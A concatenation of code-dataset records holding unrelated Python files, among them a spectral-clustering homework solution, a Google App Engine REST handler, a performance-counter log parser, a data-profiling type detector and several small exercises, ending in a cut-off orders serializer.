[line.split() for line in lst]\n }\n\n\nmanual_definitions = {\n 'token': None,\n 'admin': None,\n 'chemospath': None,\n 'dbpath': None,\n 'hplcfolder': None,\n}\n\n\nclass EnvironmentVariables(object):\n def __init__(self, variable='nrobotics_private'):\n \"\"\"\n Convenience retriever of environment variables (does not require assigning environment variable value to a the\n class). The class will attempt to retrieve values first from the file associated with the environment variable\n name provided on initialization, then retrieves from the manual definitions dictionary, then searches for an\n environment variable with the provided name.\n\n :param variable: name of the environment variable where keys may be found\n \"\"\"\n if variable in os.environ:\n self.variable = variable\n else:\n warnings.warn(f'The key {variable} is not defined in the operating system envrionment variables. ')\n self.variable = None\n\n def __getitem__(self, item):\n return self.get_key(item)\n\n def get_key(self, key):\n \"\"\"\n This method will attempt to retrieve values first from the file associated with the environment variable\n name provided on initialization, then retrieves from the manual definitions dictionary, then searches for an\n environment variable with the provided name.\n\n :param key: defined variable name\n :return: value associated with the variable\n \"\"\"\n if self.variable is not None:\n dct = convert_to_dict(\n get_contents(os.environ[self.variable])\n )\n if key in dct:\n return dct[key]\n if key in manual_definitions:\n if manual_definitions[key] is not None:\n return manual_definitions[key]\n if key in os.environ:\n return os.environ[key]\n raise ValueError(f'The variable {key} is not defined in either the environment vairable {self.variable} or in '\n f'the manual definitions. ')\n\n @staticmethod\n def defined_variables():\n \"\"\"returns a list of the available environment variables\"\"\"\n return os.environ.keys()\n\n# instance of the variable retriever\nvar_retriever = EnvironmentVariables()\n\ninputfolder = 'input' # name of input folder\noutputfolder = 'output' # name of output folder\n\n\ndef check_chemos_status():\n \"\"\"checks the status of chemos\"\"\"\n with open(os.path.join(var_retriever['chemospath'], 'ChemOS_status.pkl'), 'rb') as file:\n return pickle.load(file)\n\n\ndef set_chemos_status(status):\n \"\"\"\n Sets the chemos status to that specified\n\n :param status: desired status\n :return: previous status\n \"\"\"\n with open(os.path.join(var_retriever['chemospath'], 'ChemOS_status.pkl'), 'rb') as file:\n previous = pickle.load(file)\n with open(os.path.join(var_retriever['chemospath'], 'ChemOS_status.pkl'), 'wb') as file:\n pickle.dump(\n {'status': status},\n file\n )\n return previous\n\n\ndef check_n9_status():\n \"\"\"checks the status of chemos\"\"\"\n with open(os.path.join(var_retriever['chemospath'], 'N9_status.pkl'), 'rb') as file:\n return pickle.load(file)\n\n\ndef set_n9_status(status):\n \"\"\"\n Sets the N9 status to that specified\n\n :param status: desired status\n :return: previous status\n \"\"\"\n with open(os.path.join(var_retriever['chemospath'], 'N9_status.pkl'), 'rb') as file:\n previous = pickle.load(file)\n with open(os.path.join(var_retriever['chemospath'], 'N9_status.pkl'), 'wb') as file:\n pickle.dump(\n {'status': status},\n file\n )\n return previous\n\n","sub_path":"dependencies/comp_specific.py","file_name":"comp_specific.py","file_ext":"py","file_size_in_byte":4343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"155368944","text":"import numpy as np\nimport problem1 as p1\n#-------------------------------------------------------------------------\n'''\n Problem 5: Graph Clustering (Spectral Clustering)\n In this problem, you will implement a version of the spectral clustering method to cluster the nodes in a graph into two groups.\n\n Notations:\n ---------- input data ------------------------\n n: the number of nodes in the network, an integer scalar.\n A: the adjacency matrix, a float numpy matrix of shape n by n.\n If there is a link between node i an node j, then A[i][j] = A[j][i] = 1.\n ---------- computed data ------------------------\n D: the degree matrix, a numpy float matrix of shape n by n.\n All off-diagonal elements are 0. Each diagonal element represents the degree of the node (number of links).\n L: the Laplacian matrix, a numpy float matrix of shape n by n.\n L = D-A\n e2: the eigen vector corresponding to the smallest non-zero eigen value, a numpy float vector of length n.\n tol: the tolerance threshold for eigen values, a float scalar. A very small positive value. If an eigen value is smaller than tol, then we consider the eigen value as being 0.\n x: the binary vector of length n, a numpy float vector of (0/1) values.\n It indicates a binary partition on the graph, such as [1.,1.,1., 0.,0.,0.].\n --------------------------------------------------\n'''\n\n#--------------------------\ndef compute_D(A):\n '''\n Compute the degree matrix D.\n Input:\n A: the adjacency matrix, a float numpy matrix of shape n by n. Here n is the number of nodes in the network.\n If there is a link between node i an node j, then A[i][j] = A[j][i] = 1.\n Output:\n D: the degree matrix, a numpy float matrix of shape n by n.\n All off-diagonal elements are 0. Each diagonal element represents the degree of the node (number of links).\n Hint: you could solve this problem using 2 lines of code.\n '''\n #########################################\n ## INSERT YOUR CODE HERE\n d = []\n # degree vector of the nodes\n for i in range(len(A)):\n d.append(np.sum(A[i]))\n # diagonal matrix\n D = np.diag(d)\n\n #########################################\n return D\n\n ''' TEST: Now you can test the correctness of your code above by typing `nosetests -v test5.py:test_compute_D' in the terminal. '''\n\n\n#--------------------------\ndef compute_L(D,A):\n '''\n Compute the Laplacian matrix L.\n Input:\n D: the degree matrix, a numpy float matrix of shape n by n.\n All off-diagonal elements are 0. Each diagonal element represents the degree of the node (number of links).\n A: the adjacency matrix, a float numpy matrix of shape n by n. Here n is the number of nodes in the network.\n If there is a link between node i an node j, then A[i][j] = A[j][i] = 1.\n Output:\n L: the Laplacian matrix, a numpy float matrix of shape n by n.\n Hint: you could solve this problem using 1 line of code.\n '''\n\n #########################################\n ## INSERT YOUR CODE HERE\n L = D-A\n #########################################\n return L\n\n ''' TEST: Now you can test the correctness of your code above by typing `nosetests -v test5.py:test_compute_L' in the terminal. '''\n\n\n\n#--------------------------\ndef find_e2(L,tol= 1e-4):\n '''\n find the eigen vector that corresponds to the smallest non-zeros eigen values of the Laplacian matrix.\n\n Input:\n L: the Laplacian matrix, a numpy float matrix of shape n by n.\n tol: the tolerance threshold for eigen values, a float scalar. A very small positive value. If an eigen value is smaller than tol, then we consider the eigen value as being 0.\n Output:\n e2: the eigen vector corresponding to the smallest non-zero eigen value, a numpy float vector of length n.\n\n For example, if the eigen values are [0.5, 0.000000000001, 2.], the first eigen vector is the answer.\n Here we assume 0.00000001 is close enough to 0 because is smaller than the tolerance level (tol).\n For example, if the eigen values are [2., 0.0000000000001, 0.3], the last eigen vector is the answer.\n For example, if the eigen values are [0.00003, 0.000001, 0.3], the last eigen vector is the answer.\n '''\n\n #########################################\n ## INSERT YOUR CODE HERE\n Ep = p1.compute_eigen_pairs(L)\n Ep = p1.sort_eigen_pairs(Ep)\n for i in range(len(Ep)):\n v,e = Ep[i]\n if(v>tol):\n e2 = e\n break\n #########################################\n return e2\n\n ''' TEST: Now you can test the correctness of your code above by typing `nosetests -v test5.py:test_find_e2' in the terminal. '''\n\n\n\n#--------------------------\ndef compute_x(e2):\n '''\n Compute the partition on the graph from the thresholding an eigen vector with 0 threshold.\n Input:\n e2: the eigen vector corresponding to the smallest non-zero eigen value, a numpy float vector of length n.\n Output:\n x: the binary vector of length n, a numpy float vector of (0/1) values.\n It indicates a binary partition on the graph, such as [1.,1.,1., 0.,0.,0.].\n '''\n\n #########################################\n ## INSERT YOUR CODE HERE\n x = np.empty((len(e2)),dtype=np.int)\n for i in range(len(e2)):\n if e2[i]>0:\n x[i]=1\n else:\n x[i]=0\n #########################################\n return x\n\n ''' TEST: Now you can test the correctness of your code above by typing `nosetests -v test5.py:test_compute_x' in the terminal. '''\n\n\n\n\n#--------------------------\ndef spectral_clustering(A):\n '''\n Spectral clustering of a graph.\n Input:\n A: the adjacency matrix, a float numpy matrix of shape n by n. Here n is the number of nodes in the network.\n If there is a link between node i an node j, then A[i][j] = A[j][i] = 1.\n Output:\n x: the binary vector of length n, a numpy float vector of (0/1) values.\n It indicates a binary partition on the graph, such as [1.,1.,1., 0.,0.,0.].\n Note: you cannot use any existing python package for spectral clustering, such as scikit-learn.\n Hint: x is related to the eigen vector of L with the smallest positive eigen values.\n For example, if the eigen vector is [0.2,-0.1, -0.2], the values larger than zero will be 1, so x=[1,0,0] in this example.\n Note: if the eigen value is small enough (say smaller than 0.000001), we can treat it as being zero.\n (5 points)\n '''\n\n #########################################\n ## INSERT YOUR CODE HERE\n # compute degree matrix\n D = compute_D(A)\n\n # compute laplacian matrix\n L = compute_L(D,A)\n\n # find the eigen vector with the smallest non-zero eigen value\n e2 = find_e2(L,1e-6)\n\n # compute the graph partition\n x = compute_x(e2)\n\n #########################################\n return x\n\n\n ''' TEST: Now you can test the correctness of your code above by typing `nosetests -v test5.py:test_spectral_clustering' in the terminal. '''\n\n\n#--------------------------------------------\n\n''' TEST Problem 5:\n Now you can test the correctness of all the above functions by typing `nosetests -v test5.py' in the terminal.\n\n If your code passed all the tests, you will see the following message in the terminal:\n ----------- Problem 5 (20 points in total)--------------------- ... ok\n (4 points) compute_D ... ok\n (4 points) compute_L ... ok\n (4 points) find_e2 ... ok\n (4 points) compute_x ... ok\n (4 points) spectral clustering ... ok\n\n ----------------------------------------------------------------------\n Ran 6 tests in 0.021s\n OK\n'''\n\n\n\n#--------------------------------------------\n\n''' FINAL TEST of your submission:\n Now you can test the correctness of all the problems in this homework by typing `nosetests -v' in the terminal.\n\n If your code passed all the tests, you will see the following message in the terminal:\n ----------- Problem 1 (10 points in total)--------------------- ... ok\n (5 points) compute_eigen_pairs ... ok\n (5 points) sort_eigen_pairs ... ok\n ----------- Problem 2 (25 points in total)--------------------- ... ok\n (3 points) centering_X ... ok\n (2 points) compute_C ... ok\n (5 points) compute_P ... ok\n (5 points) compute_Xp ... ok\n (10 points) PCA ... ok\n ----------- Problem 3 (25 points in total)--------------------- ... ok\n (3 points) vector_to_image ... ok\n (2 points) load_dataset ... ok\n (5 points) compute_mu_image ... ok\n (15 points) compute_eigen_faces ... ok\n ----------- Problem 4 (20 points in total)--------------------- ... ok\n (10 points) compute_distance ... ok\n (10 points) face_recognition ... ok\n ----------- Problem 5 (20 points in total)--------------------- ... ok\n (4 points) compute_D ... ok\n (4 points) compute_L ... ok\n (4 points) find_e2 ... ok\n (4 points) compute_x ... ok\n (4 points) spectral clustering ... ok\n ----------------------------------------------------------------------\n Ran 23 tests in 17.602s\n\n'''\n\n#--------------------------------------------\n","sub_path":"Homework/Homework_4/problem5.py","file_name":"problem5.py","file_ext":"py","file_size_in_byte":9832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"543859703","text":"#def super_met(args):\n# return args\n# to get n number of values and pass only one parameter in function use *arg\n#Persedence Rule: Parameter->*args->Default Parameter->**kwargs\ndef super_met(*args, **agg):\n #kwargs helps to add key:value pair\n print(args) #this would even work if you remove the * from here as the method has already taken a set of value in the declaration\n print(agg)\n total = 0\n for items in agg.values():\n total = total+items\n return sum(args)+total\nprint(super_met(1,2,3,4,num1=5, num2=5))\n\n#Persedence Rule: Parameter->*args->Default Parameter->**kwargs\n\ndef super_pers(name,*args,age=10,**kargs):\n print(name,*args,age,**kargs)\n\nsuper_pers(Pratik, 5660, age=15,height=179)\n","sub_path":"args_kwargs.py","file_name":"args_kwargs.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"542810857","text":"import Entities as E\nimport json\nimport webapp2\nfrom google.appengine.ext import ndb\n\nclass SpecializationHandler(webapp2.RequestHandler):\n def __init__(self,request,response):\n self.initialize(request,response)\n self.existing_specializations = [{'name':qe.name,'key':qe.key.id()} for qe in E.Specialization.query(ancestor=ndb.Key(E.Specialization, self.app.config.get('M-S')))]\n self.response.headers['Content-Type'] = 'application/json'\n\n def get(self, *args, **kwargs):\n '''\n Retrieves Specialization entities based on URI\n '''\n if not kwargs or kwargs is None: #GET /provider or /provider/\n if args:\n if args[0]:\n if args[0]=='specialization':\n if self.existing_specializations: self.response.write(json.dumps(self.existing_specializations))\n else: self.error_status(200, '- OK. No specializations currently in database.')\n else: #datastore is empty\n if self.existing_specializations: self.response.write(json.dumps(self.existing_specializations))\n else: self.error_status(200, '- OK. No specializations currently in database.')\n else: #GET /provider/pid or /provider/pid (print only the requested provider)\n if kwargs['sid']:\n #search the existing_providers for a match to the provider ID provided\n match = next((es for es in self.existing_specializations if es['key']==int(kwargs['sid'])), None) #find the duplicate dictionary\n if match:\n self.response.write(json.dumps(match))\n else:\n self.error_status(400, '- OK. No specializations matching the provided specialization id. ')\n else:\n self.error_status(400, '- OK. No specializations matching the provided specialization id. ')\n return\n\n def error_status(self, code, msg):\n '''\n Clears the response attribute and prints error messages in JSON\n '''\n obj={}\n self.response.clear()\n self.response.set_status(code, msg)\n obj['status'] = self.response.status\n self.response.write(json.dumps(obj))\n\n\n def post(self, *args, **kwargs): #add a specialization(s)\n if not self.request.get_all('specializations[]') or self.request.get_all('specializations[]') is None or self.request.get_all('specializations[]')=='':\n self.error_status(400, '- Invalid input. Empty specializations[] field(s).')\n else:\n self.response.set_status(200, '- OK.')\n obj = {}\n obj['status'] = self.response.status\n obj['added'] = []\n obj['invalid'] = []\n obj['duplicate'] = []\n for s in self.request.get_all('specializations[]'):\n if s=='':\n obj['invalid'] = s\n else:\n if not any(es['name']==s for es in self.existing_specializations): #check if designation already in datastore\n parent_key = ndb.Key(E.Specialization, self.app.config.get('M-S')) #use malenah-specializtions as the key id\n e = E.Specialization(parent=parent_key)\n e.name = s\n k=e.put()\n o={}\n o['name'] = s\n o['key'] = k.id()\n obj['added'].append(o)\n else:\n match = next((es for es in self.existing_specializations if es['name']==s), None) #find the duplicate dictionary\n obj['duplicate'].append(match)\n self.response.write(json.dumps(self.request.get_all('specializations[]')))\n self.response.write(json.dumps(obj))\n return\n\n def put(self, *args, **kwargs):\n obj={}\n if not kwargs or kwargs is None or 'sid' not in kwargs: #GET /reply or /reply/\n self.response.clear()\n self.response.set_status(400, '- Invalid. No specialization id provided.')\n obj['status'] = self.response.status\n else: #reply id is in kwarg\n match = next((es for es in self.existing_specializations if es['key']==int(kwargs['sid'])), None) #\n if match is not None: #entity exists in database\n properties = {\n 'name': self.request.get('name'), #required\n }\n status_message = self.validate_input(properties)\n obj={}\n if 'Invalid' not in status_message: #check for empty or invalid fields\n pk = ndb.Key(E.Specialization, self.app.config.get('M-S'))\n e = E.Specialization.get_by_id(int(kwargs['sid']), parent=pk)\n e.populate(**properties)\n e.put()\n obj = e.to_dict()\n self.response.set_status(200, status_message)\n obj['status'] = self.response.status\n else:\n self.response.clear()\n self.response.set_status(400, status_message)\n obj['status'] = self.response.status\n else:\n self.response.clear()\n self.response.set_status(400, '- Invalid input. Unable to update entity. No match for specialization id.')\n obj['status'] = self.response.status\n self.response.write(json.dumps(obj))\n return\n\n\n def delete(self, *args, **kwargs):\n obj={}\n if not kwargs or kwargs is None or 'sid' not in kwargs: #GET /reply or /reply/\n self.response.clear()\n self.response.set_status(400, '- Invalid. No specialization id provided.')\n obj['status'] = self.response.status\n else: #specialization id is in kwarg\n match = next((es for es in self.existing_specializations if es['key']==int(kwargs['sid'])), None) #\n if match is not None: #entity exists in database\\\n pk=ndb.Key(E.Specialization, self.app.config.get('M-S'))\n E.Specialization.get_by_id(int(kwargs['sid']), parent=pk).key.delete()\n self.response.set_status(200, '- Delete specialization successful.')\n obj['status'] = self.response.status\n else:\n self.response.clear()\n self.response.set_status(400, '- Invalid input. Unable to delete entity. No match for specialization id.')\n obj['status'] = self.response.status\n self.response.write(json.dumps(obj))\n return\n\n def validate_input(self,obj):\n if not obj['name'] or obj['name'] is None or obj['name']=='':\n return '- Invalid input: missing name.'\n return '- OK'\n","sub_path":"malenah-api/SpecializationHandler.py","file_name":"SpecializationHandler.py","file_ext":"py","file_size_in_byte":6853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"437331955","text":"#! /usr/bin/env python3\n\nimport argparse\nimport os\nimport re\n\nclass PerfManip(object):\n def __init__(self, name, counters, func):\n self.name = name\n self.counters = counters\n self.func = func\n\ndef load_perf(filename):\n perf_re = re.compile(r'.*\\[PERF \\]\\[time=\\s*\\d*\\] ((\\w*(\\.|))*): (\\w*)\\s*,\\s*(\\d*)')\n all_perf_counters = dict()\n with open(filename) as f:\n for line in f:\n perf_match = perf_re.match(line)\n if perf_match:\n perf_name = \".\".join([str(perf_match.group(1)), str(perf_match.group(4))])\n perf_value = str(perf_match.group(5))\n all_perf_counters[perf_name] = perf_value\n return all_perf_counters\n\ndef calc(counters, target, func):\n numbers = map(lambda name: int(counters[name]), target)\n return str(func(*numbers))\n\ndef get_all_manip():\n all_manip = []\n ipc = PerfManip(\n name = \"global.IPC\",\n counters = [\"TOP.SimTop.l_soc.core_with_l2.core.ctrlBlock.roq.clock_cycle\",\n \"TOP.SimTop.l_soc.core_with_l2.core.ctrlBlock.roq.commitInstr\"],\n func = lambda cycle, instr: instr * 1.0 / cycle\n )\n all_manip.append(ipc)\n block_fraction = PerfManip(\n name = \"global.intDispatch.blocked_fraction\",\n counters = [\"TOP.SimTop.l_soc.core_with_l2.core.ctrlBlock.dispatch.intDispatch.blocked\",\n \"TOP.SimTop.l_soc.core_with_l2.core.ctrlBlock.dispatch.intDispatch.in\"],\n func = lambda blocked, dpin: blocked * 1.0 / dpin\n )\n all_manip.append(block_fraction)\n return all_manip\n\ndef main(pfiles, output_file):\n all_perf = []\n all_manip = get_all_manip()\n for filename in pfiles:\n perf = load_perf(filename)\n for manip in all_manip:\n perf[manip.name] = calc(perf, manip.counters, manip.func)\n all_perf.append(perf)\n all_names = sorted(list(set().union(*list(map(lambda s: s.keys(), all_perf)))))\n # all_sources = list(map(lambda x: os.path.split(x)[1], pfiles))\n all_sources = pfiles\n output_lines = [\",\".join([\"\"] + all_sources) + \"\\n\"]\n for name in all_names:\n output_lines.append(\",\".join([name] + list(map(lambda col: col[name] if name in col else \"\", all_perf))) + \"\\n\")\n with open(output_file, \"w\") as f:\n f.writelines(output_lines)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='performance counter log parser')\n parser.add_argument('pfiles', metavar='filename', type=str, nargs='+',\n help='performance counter log')\n parser.add_argument('--output', '-o', default=\"stats.csv\", help='output file')\n\n args = parser.parse_args()\n\n main(args.pfiles,args.output)\n\n","sub_path":"perf/perf.py","file_name":"perf.py","file_ext":"py","file_size_in_byte":2693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"80455847","text":"from utils import operation\nfrom core.dispatcher import Dispatcher\n\nimport requests\n\nuri = 'admin'\n\noperations = [\n\toperation('createValue', requests.create_value),\n\n\toperation('addUserTag', requests.add_user_tag),\n\toperation('removeUserTag', requests.remove_user_tag),\n\n\toperation('createTag', requests.create_tag),\n\toperation('updateTag', requests.update_tag),\n\toperation('listTag', requests.list_tag),\n\n\toperation('createCurrency', requests.create_currency),\n\toperation('updateCurrency', requests.update_currency),\n\toperation('listCurrency', requests.list_currency),\n]","sub_path":"modules/admin/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"213694299","text":"import info\n\n\nclass subinfo(info.infoclass):\n def setTargets(self):\n self.targets['1.6.2'] = 'http://downloads.sourceforge.net/kde-windows/uuid-1.6.2.tar.gz'\n self.patchToApply['1.6.2'] = [('uuid-cmake.diff', 1)]\n self.targetInstSrc['1.6.2'] = 'uuid-1.6.2'\n self.targetDigests['1.6.2'] = '3e22126f0842073f4ea6a50b1f59dcb9d094719f'\n self.description = \"OSSP uuid is a library and cli for the generation of multi standard compliant Universally Unique Identifier (UUID).\"\n self.defaultTarget = '1.6.2'\n\n def setDependencies(self):\n self.runtimeDependencies[\"virtual/base\"] = None\n\n\nfrom Package.CMakePackageBase import *\n\n\nclass Package(CMakePackageBase):\n def __init__(self, **args):\n CMakePackageBase.__init__(self)\n\n # building dce and c++ interface not needed\n self.subinfo.options.configure.args = \"-DWITH_DCE=OFF -DWITH_CXX=OFF -DWITH_EXEC=OFF\"\n","sub_path":"libs/uuid/uuid.py","file_name":"uuid.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"324061365","text":"#Faça um Programa que peça o raio de um círculo, calcule e mostre sua área.\n\n#autor: @fharaujo\n#data: 25/10/2016\n#Projeto: APrendendo Python - Estrutura Sequencial\n\nraio = float(input(\"Digite o raio do circulo: \"))\n\narea = 3.14 * (raio * raio)\n\nprint(\"Área do círculo: \",area,\"m²\")","sub_path":"CalcularAreaCirculo.py","file_name":"CalcularAreaCirculo.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"402426432","text":"import collections\nfrom datetime import datetime\nimport dateutil.tz\nimport re\nimport regex\n\nfrom . import types\nfrom .spatial import LATITUDE, LONGITUDE\nfrom .temporal import parse_date\n\n\n_re_int = re.compile(\n r'^[+-]?[0-9]+'\n r'(?:\\.0*)?' # 4.0 and 7.000 are integers\n r'$'\n)\n_re_float = re.compile(\n r'^[+-]?'\n r'(?:'\n r'(?:[0-9]+\\.[0-9]*)|'\n r'(?:\\.[0-9]+)'\n r')'\n r'(?:[Ee][0-9]+)?$'\n)\n_re_wkt_point = re.compile(\n r'^POINT ?\\('\n r'-?[0-9]{1,3}\\.[0-9]{1,15}'\n r' '\n r'-?[0-9]{1,3}\\.[0-9]{1,15}'\n r'\\)$'\n)\n_re_wkt_polygon = re.compile(\n r'^POLYGON ?\\('\n r'('\n r'\\([0-9 .]+\\)'\n r', ?)*'\n r'\\([0-9 .]+\\)'\n r'\\)$'\n)\n_re_geo_combined = regex.compile(\n r'^([\\p{Lu}\\p{Po}0-9 ])+ \\('\n r'-?[0-9]{1,3}\\.[0-9]{1,15}'\n r', ?'\n r'-?[0-9]{1,3}\\.[0-9]{1,15}'\n r'\\)$'\n)\n_re_other_point = re.compile(\n r'^POINT ?\\('\n r'-?[0-9]{1,3}\\.[0-9]{1,15}'\n r', ?'\n r'-?[0-9]{1,3}\\.[0-9]{1,15}'\n r'\\)$'\n)\n_re_whitespace = re.compile(r'\\s+')\n\n\n# Tolerable ratio of unclean data\nMAX_UNCLEAN = 0.02 # 2%\n\n\n# Maximum number of different values for categorical columns\nMAX_CATEGORICAL_RATIO = 0.10 # 10%\n\n\ndef regular_exp_count(array):\n # Let you check/count how many instances match a structure of a data type\n re_count = collections.Counter()\n\n for elem in array:\n if not elem:\n re_count['empty'] += 1\n elif _re_int.match(elem):\n re_count['int'] += 1\n elif _re_float.match(elem):\n re_count['float'] += 1\n elif _re_wkt_point.match(elem):\n re_count['point'] += 1\n elif _re_geo_combined.match(elem):\n re_count['geo_combined'] += 1\n elif _re_other_point.match(elem):\n re_count['other_point'] += 1\n elif _re_wkt_polygon.match(elem):\n re_count['polygon'] += 1\n elif len(_re_whitespace.findall(elem)) >= 3:\n re_count['text'] += 1\n if elem.lower() in ('0', '1', 'true', 'false', 'y', 'n', 'yes', 'no'):\n re_count['bool'] += 1\n\n return re_count\n\n\ndef unclean_values_ratio(c_type, re_count, num_total):\n ratio = 0\n if c_type == types.INTEGER:\n ratio = \\\n (num_total - re_count['empty'] - re_count['int']) / num_total\n if c_type == types.FLOAT:\n ratio = \\\n (num_total - re_count['empty'] - re_count['int'] - re_count['float']) / num_total\n if c_type == types.GEO_POINT:\n ratio = \\\n (num_total - re_count['empty'] - re_count['point']) / num_total\n if c_type == types.GEO_POLYGON:\n ratio = \\\n (num_total - re_count['empty'] - re_count['polygon']) / num_total\n if c_type == types.BOOLEAN:\n ratio = \\\n (num_total - re_count['empty'] - re_count['bool']) / num_total\n return ratio\n\n\ndef parse_dates(array):\n parsed_dates = []\n for elem in array:\n elem = parse_date(elem)\n if elem is not None:\n parsed_dates.append(elem)\n return parsed_dates\n\n\ndef identify_structural_type(re_count, num_total, threshold):\n if re_count['empty'] == num_total:\n structural_type = types.MISSING_DATA\n elif re_count['int'] >= threshold:\n structural_type = types.INTEGER\n elif re_count['int'] + re_count['float'] >= threshold:\n structural_type = types.FLOAT\n elif re_count['point'] >= threshold or re_count['geo_combined'] >= threshold or re_count['other_point'] >= threshold:\n structural_type = types.GEO_POINT\n elif re_count['polygon'] >= threshold:\n structural_type = types.GEO_POLYGON\n elif re_count['polygon'] >= threshold:\n structural_type = types.GEO_POLYGON\n else:\n structural_type = types.TEXT\n\n return structural_type\n\n\ndef identify_types(array, name, geo_data, manual=None):\n num_total = len(array)\n column_meta = {}\n\n # This function let you check/count how many instances match a structure of particular data type\n re_count = regular_exp_count(array)\n\n # Identify structural type and compute unclean values ratio\n threshold = max(1, (1.0 - MAX_UNCLEAN) * (num_total - re_count['empty']))\n if manual:\n structural_type = manual['structural_type']\n column_meta['unclean_values_ratio'] = unclean_values_ratio(structural_type, re_count, num_total)\n else:\n structural_type = identify_structural_type(re_count, num_total, threshold)\n if structural_type != types.MISSING_DATA and structural_type != types.TEXT:\n column_meta['unclean_values_ratio'] = unclean_values_ratio(structural_type, re_count, num_total)\n\n # compute missing values ratio\n if structural_type != types.MISSING_DATA and re_count['empty'] > 0:\n column_meta['missing_values_ratio'] = re_count['empty'] / num_total\n\n # TODO: structural or semantic types?\n semantic_types_dict = {}\n if manual:\n semantic_types = manual['semantic_types']\n semantic_types_dict = {el: None for el in semantic_types}\n\n for el in semantic_types:\n if el == types.BOOLEAN:\n column_meta['unclean_values_ratio'] = \\\n unclean_values_ratio(types.BOOLEAN, re_count, num_total)\n if el == types.DATE_TIME:\n dates = parse_dates(array)\n semantic_types_dict[types.DATE_TIME] = dates\n if el == types.ADMIN:\n if geo_data is not None:\n resolved = geo_data.resolve_names(array)\n if sum(1 for r in resolved if r is not None) > 0.7 * len(array):\n semantic_types_dict[types.ADMIN] = resolved\n if el == types.CATEGORICAL or el == types.INTEGER:\n # Count distinct values\n values = set(e for e in array if e)\n column_meta['num_distinct_values'] = len(values)\n if el == types.CATEGORICAL:\n semantic_types_dict[types.CATEGORICAL] = values\n else:\n # Identify booleans\n num_bool = re_count['bool']\n num_text = re_count['text']\n num_empty = re_count['empty']\n\n if num_bool >= threshold:\n semantic_types_dict[types.BOOLEAN] = None\n column_meta['unclean_values_ratio'] = \\\n unclean_values_ratio(types.BOOLEAN, re_count, num_total)\n\n if structural_type == types.TEXT:\n categorical = False\n\n if geo_data is not None:\n resolved = geo_data.resolve_names(array)\n if sum(1 for r in resolved if r is not None) > 0.7 * len(array):\n semantic_types_dict[types.ADMIN] = resolved\n categorical = True\n\n if not categorical and num_text >= threshold:\n # Free text\n semantic_types_dict[types.TEXT] = None\n else:\n # Count distinct values\n values = set(e for e in array if e)\n column_meta['num_distinct_values'] = len(values)\n max_categorical = MAX_CATEGORICAL_RATIO * (len(array) - num_empty)\n if (\n categorical or\n len(values) <= max_categorical or\n types.BOOLEAN in semantic_types_dict\n ):\n semantic_types_dict[types.CATEGORICAL] = values\n elif structural_type == types.INTEGER:\n # Identify ids\n # TODO: is this enough?\n # TODO: what about false positives?\n if (name.lower().startswith('id') or\n name.lower().endswith('id') or\n name.lower().startswith('identifier') or\n name.lower().endswith('identifier') or\n name.lower().startswith('index') or\n name.lower().endswith('index')):\n semantic_types_dict[types.ID] = None\n\n # Count distinct values\n values = set(e for e in array if e)\n column_meta['num_distinct_values'] = len(values)\n\n # Identify years\n if name.strip().lower() == 'year':\n dates = []\n for year in array:\n try:\n dates.append(datetime(\n int(year), 1, 1,\n tzinfo=dateutil.tz.UTC,\n ))\n except ValueError:\n pass\n if len(dates) >= threshold:\n structural_type = types.TEXT\n semantic_types_dict[types.DATE_TIME] = dates\n\n # Identify lat/long\n if structural_type == types.FLOAT:\n num_lat = num_long = 0\n for elem in array:\n try:\n elem = float(elem)\n except ValueError:\n pass\n else:\n if -180.0 <= float(elem) <= 180.0:\n num_long += 1\n if -90.0 <= float(elem) <= 90.0:\n num_lat += 1\n\n if num_lat >= threshold and any(n in name.lower() for n in LATITUDE):\n semantic_types_dict[types.LATITUDE] = None\n if num_long >= threshold and any(n in name.lower() for n in LONGITUDE):\n semantic_types_dict[types.LONGITUDE] = None\n\n # Identify dates\n parsed_dates = parse_dates(array)\n\n if len(parsed_dates) >= threshold:\n semantic_types_dict[types.DATE_TIME] = parsed_dates\n if structural_type == types.INTEGER:\n # 'YYYYMMDD' format means values can be parsed as integers, but\n # that's not what they are\n structural_type = types.TEXT\n\n return structural_type, semantic_types_dict, column_meta\n\n\nSPATIAL_STRUCTURAL_TYPES = {\n types.LATITUDE, types.LONGITUDE,\n types.GEO_POINT, types.GEO_POLYGON,\n types.ADDRESS,\n types.ADMIN,\n}\n\n\ndef determine_dataset_type(column_structural_type, column_semantic_types):\n \"\"\"Determines a dataset type (see dataset_types.py) based on combinations of\n a column's structural and semantic types.\n \"\"\"\n if any(t in SPATIAL_STRUCTURAL_TYPES for t in column_semantic_types):\n return types.DATASET_SPATIAL\n elif types.DATE_TIME in column_semantic_types:\n return types.DATASET_TEMPORAL\n elif types.CATEGORICAL in column_semantic_types:\n return types.DATASET_CATEGORICAL\n elif column_structural_type in (types.INTEGER, types.FLOAT):\n return types.DATASET_NUMERICAL\n else:\n return None\n","sub_path":"lib_profiler/datamart_profiler/profile_types.py","file_name":"profile_types.py","file_ext":"py","file_size_in_byte":10566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"473229588","text":"# -*- coding: utf-8 -*-\n# author:yang time: 19-8-14 上午9:17\nfrom decimal import Decimal\n\nfrom django.db import transaction\nfrom django.utils import timezone\nfrom django_redis import get_redis_connection\nfrom rest_framework import serializers\n\nfrom carts.serializers import CartSKUSerializer\nfrom goods.models import SKU\nfrom orders.models import OrderInfo, OrderGoods\n\n\nclass OrderSettlementSerializer(serializers.Serializer):\n \"\"\"商品列表序列化器\"\"\"\n freight = serializers.DecimalField(max_digits=10, decimal_places=2)\n skus = CartSKUSerializer(many=True, read_only=True)\n\n\nclass 